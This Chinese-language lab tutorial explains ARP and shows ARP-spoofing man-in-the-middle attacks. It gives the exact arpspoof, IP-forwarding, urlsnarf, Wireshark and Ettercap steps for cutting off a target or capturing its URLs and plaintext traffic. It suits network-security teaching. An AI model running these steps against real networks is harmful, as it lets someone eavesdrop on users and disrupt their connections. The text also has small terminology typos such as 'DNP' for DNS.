什么是ARP协议
地址解析协议,即ARP(Address Resolution Protocol),是根据ip地址获取物理地址(mac)的一个TCP/IP协议。
原理:每台计算机都有一个ARP表,和路由表功能相似,当访问ip时就会去ARP表找到对应的mac地址,当ARP表中不存在时,则会以广播的形式发起一个ARP请求,目标主机收到后则会以单播的形式给予一个ARP响应,同时告知自己的mac地址,拿到mac地址后就会,将其缓存到ARP表中。ARP的作用是将ip地址转换为mac地址来进行数据的传输
arp -a //查询本地ARP表
arp -d +ip地址 //删除对应的ARP表内容
tcpdump -i eth0 -nn arp //tcp抓某块网卡的所有arp请求
tcpdump -i eth0 -nn arp and host IP //tcp抓取指定ip的请求
ARP断网攻击及其原理
前提一定要在能相互ping通的条件下去攻击,一般物理机需要去防火墙打开相关权限
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
-i:指定网卡
-c:攻击机的IP
-t 目标机器的IP
-r:网关IP
例:arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.12
-i:指定网卡
-r:指定网关ip
-t:指定靶机ip
攻击原理:
0:c:29:fc:66:46 1c:69:7a:a4:cf:92 0806 42: arp reply 192.168.110.1 is-at 0:c:29:fc:66:46
0:c:29:fc:66:46 e4:3a:6e:35:98:0 0806 42: arp reply 192.168.110.12 is-at 0:c:29:fc:66:46
ARP攻击机器 不停的在告诉 192.168.110.1(网关) 192.168.110.12 的mac地址是 00:0c:29:fc:66:46
ARP攻击机器 不停的在告诉 192.168.110.12(靶机) 192.168.110.1 的mac地址是 00:0c:29:fc:66:46 Ctrl+C停止攻击后
0:c:29:fc:66:46 1c:69:7a:a4:cf:92 0806 42: arp reply 192.168.110.1 is-at e4:3a:6e:35:98:0
0:c:29:fc:66:46 e4:3a:6e:35:98:0 0806 42: arp reply 192.168.110.12 is-at 1c:69:7a:a4:cf:92
ARP攻击机器 重新告诉 192.168.110.12(靶机) 192.168.110.1 的mac地址是 e4:3a:6e:35:98:0
ARP攻击机器 重新告诉 192.168.110.1(网关) 192.168.110.12 的mac地址是 1c:69:7a:a4:cf:9
原理图
ARP攻击流量分析
1、kali数据包转发
出于安全考虑,Linux系统默认是禁止数据包转发的。所谓转发即当主机拥有多于一块的网卡时,其中一块收到数据包,根据数据包的目的ip地址将数据包发往本机另一块网卡,该网卡根据路由表继续发送数据包。这通常是路由器所要实现的功能。我们需要手动开启转发功能。
kali里有个ip_forward 配置文件 1.默认是0 禁止端口转发 2.将其设置成1 开启端口转发
开启步骤:
1、cat /proc/sys/net/ipv4/ip_forward //打开目录检查是否开启端口转发
2、echo 1 >> /proc/sys/net/ipv4/ip_forward //打开通讯转发端口
3、arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.11//再次利用arpspoof发起攻击
dsniff网络嗅探工具和URL流量分析
安装:apt-get install dsniff
用法:
urlsnarf -h
urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]] -n 表示不反查主机名
-i interface 网卡接口名
-p pattern 表示对过滤的内容使用的正则表达式
-v表示取相反,即是不匹配;expression 是过滤语法,和tcpdump的相同,请参考tcpdump。
URL流量分析
URL流量嗅探操作非常类似于中间人攻击,通过目标主机将路由流量注入到因特网。该过程将通过ARP注入实现攻击。url嗅探能够实时跟踪电脑中的数据流量信息,并且分析出它的类型和去向。从而获得你上网信息。
攻击流程:
1、开启流量转发:echo 1 >> /proc/sys/net/ipv4/ip_forward
2、开启ARP攻击:arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.11
3、捕获目标计算机的url:urlsnarf -i eth0
4、验证,通过靶机上网来抓取流量进行分析
ARP配合wireshark抓包用户数据
1、开启流量转发:echo 1 >> /proc/sys/net/ipv4/ip_forward
2、开启ARP攻击:arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.11
3、打开wireshark,选择网卡,进行抓包,与dsniff的区别主要在于dsniff主要是对流量进行嗅探,wireshark的功能更加强大
wireshark过滤命令(Linux版)
1、(ip.src==192.168.110.11 or ip.dst==192.168.110.11) and tcp.port==80 and http 解析:ip的原地址为192.168.110.11 或者ip的目的地址为192.168.110.11 tcp传输端口为80并且传输协议为http
2、端口过滤:tcp.port==80//源端口和目的端口都是80 tcp.dstport==80//目的端口为80 tcp.srcport==80//源端口为80
3、协议过滤 如tcp、udp、ssh、arp、http、、、
4、http模式过滤:http.request.method=="GET" //过滤http以get方式提交的包
ARP表查看(Windows机)
arp -a|findstr 192.168.110.1 kali的mac地址查看:ip a
ARP-Ettercap劫持用户流量
EtterCap是一个基于ARP地址欺骗方式的网络嗅探工具,主要适用于交换局域网络。借助于EtterCap嗅探软件,渗透测试人员可以检测网络内明文数据通讯的安全性,及时采取措施,避免敏感的用户名/密码等数据以明文的方式进行传输(HTTPS的包无法获取)。
攻击步骤(可视化版)
1、启动命令:ettercap -G
2、确认攻击
3、添加主机
扫描出主机和网关后进行添加(重复进入进行刷新),target1为网关,target2为靶机,需要注意的是和上面其他ARP攻击工具一样需要在同一网关下且能ping通,有ARP缓存表
绿色框为停止或继续扫描,红色框代表开始攻击,黄色框代表停止攻击,攻击模式有多种,此处选择ARP攻击,然后继续OK,然后就可以开始对靶机进行攻击了,Tip:当不开启扫描的时候,攻击会执行的是断网攻击和上面原理一样
其他功能介绍
1、启动界面
2、中间人攻击菜单
ARP poisoning:ARP攻击 DNP poisoning :DNP攻击 ICMP redirect :icmp重定向 Port stealing :端口欺骗 DHC spoofing :DHC欺骗 stop MITM :停止攻击 ssL intercept :ssl嗅探
3、更多选项
Targets:攻击列表 Hosts:显示主机列表 Filters:载入二进制脚本 Plugins:插件 Logging:日志
4、host选项
Hosts list:扫描到的主机列表 Enable ipv6 scan:扫描ipv6地址 Scan for hosts:扫描主机列表 load hosts form file:从外部文件载入主机列表 Save hosts to file:保存主机列表到文件
5、target选项
Current targets:正在攻击的列表 Select targets::选择攻击列表 Portocol:攻击协议 Reverse matching:匹配规则 Wipe targets:擦除攻击
6、view选项
Connections:连接信息 Profiles:IP地址信息 Statistics:统计信息